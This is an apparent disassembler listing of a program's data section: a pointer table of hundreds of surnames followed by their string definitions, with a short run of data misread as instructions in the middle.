		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E6E1
; ---------------------------------------------------------------------------
		align 10h
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-53FFBD15h], bh
		jmp	short loc_42E6F1
; ---------------------------------------------------------------------------
		align 10h
		mov	al, ds:980042EBh

loc_42E6B5:				; CODE XREF: ___:0042E6C8j
		jmp	short loc_42E6F9
; ---------------------------------------------------------------------------
		align 4
		dd offset aTudge	; "Tudge"
; ---------------------------------------------------------------------------
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E709
; ---------------------------------------------------------------------------
		align 4
		jo	short loc_42E6B5
		inc	edx
		add	[eax-15h], ch
		inc	edx
		add	[ebx+ebp*8+42h], bl
		add	[ebx+ebp*8+42h], dl
		add	[eax-15h], cl
		inc	edx
		add	[eax-15h], al
		inc	edx
		add	[eax], bh

loc_42E6E1:				; CODE XREF: ___:0042E69Dj
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		sub	bl, ch
		inc	edx
		add	[eax], ah
		jmp	short loc_42E72D
; ---------------------------------------------------------------------------
		align 4
		sbb	bl, ch
		inc	edx
		add	[eax], dl

loc_42E6F1:				; CODE XREF: ___:0042E6ADj
		jmp	short loc_42E735
; ---------------------------------------------------------------------------
		align 4
		dd offset aWaite	; "Waite"
		db 0
; ---------------------------------------------------------------------------

loc_42E6F9:				; CODE XREF: ___:loc_42E6B5j
		jmp	short loc_42E73D
; ---------------------------------------------------------------------------
		align 4
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		db 0D8h
; ---------------------------------------------------------------------------

loc_42E709:				; CODE XREF: ___:0042E6C5j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		db 88h
; ---------------------------------------------------------------------------

loc_42E725:				; CODE XREF: ___:loc_42E6E1j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		db 74h
; ---------------------------------------------------------------------------

loc_42E72D:				; CODE XREF: ___:0042E6E9j
		jmp	far ptr	42h:0EA680042h
; ---------------------------------------------------------------------------
		pop	esp

loc_42E735:				; CODE XREF: ___:loc_42E6F1j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		db 44h
; ---------------------------------------------------------------------------

loc_42E73D:				; CODE XREF: ___:loc_42E6F9j
		jmp	far ptr	42h:0EA380042h
; ---------------------------------------------------------------------------
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E830o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E82Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E828o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E824o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E820o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E81Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E818o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E814o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E810o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E80Co
aYu		db 'Yu',0               ; DATA XREF: ___:0042E808o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E804o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E800o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E7FCo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E7F8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E7F4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E7F0o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E7ECo
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042E7E8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E7E4o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E7E0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E7DCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E7D8o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E7D4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E7D0o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7CCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7C8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7C4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7C0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7BCo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7B8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7B4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7B0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7ACo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7A8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7A4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7A0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E79Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E798o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E794o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E790o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E78Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E788o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E784o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E780o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E77Co
aViano		db 'Viano',0            ; DATA XREF: ___:0042E778o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042E774o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E770o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E76Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E768o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E764o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E760o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E75Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E758o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E754o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E750o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042E74Co
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042E748o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E744o
		align 4
aVelasquez	db 'Velasquez',0
		align 4
aWeissman	db 'Weissman',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 4
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 10h
aWaugh		db 'Waugh',0
		align 4
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042E720o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042E71Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042E718o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042E714o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042E710o
aVanallen	db 'vanAllen',0
		align 4
aWalter		db 'Walter',0
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042E704o
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042E700o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042E6FCo
		align 10h
aValberg	db 'Valberg',0
aWaite		db 'Waite',0            ; DATA XREF: ___:0042E6F4o
		align 10h
aVacca		db 'Vacca',0
		align 4
aUzuner		db 'Uzuner',0
		align 10h
aUsdan		db 'Usdan',0
		align 4
aUrdangBrown	db 'Urdang-Brown',0
		align 4
aUrban		db 'Urban',0
		align 10h
aUpsdell	db 'Upsdell',0
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0
		align 4
aTzamarias	db 'Tzamarias',0
		align 4
aTwells		db 'Twells',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042E6B8o
		align 4
aTuck		db 'Tuck',0
		align 10h
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 4
aTsiatis	db 'Tsiatis',0
aTruss		db 'Truss',0
		align 4
aTroy		db 'Troy',0
		align 10h
aTroiani	db 'Troiani',0
aTringali	db 'Tringali',0
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E694o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E690o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E68Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042E688o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E684o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E680o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E67Co
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E678o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E674o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E670o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E66Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E668o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E664o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E660o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E65Co
aTill		db 'Till',0             ; DATA XREF: ___:0042E658o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E654o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E650o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E64Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E648o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E644o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E640o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E63Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E638o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E634o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E630o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E62Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E628o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E624o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E620o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E61Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E618o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E614o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E610o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E60Co
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E608o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E604o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E600o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E5FCo
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E5F8o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E5F4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E5F0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E5ECo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E5E8o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E5E4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E5E0o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E5DCo
		align 4
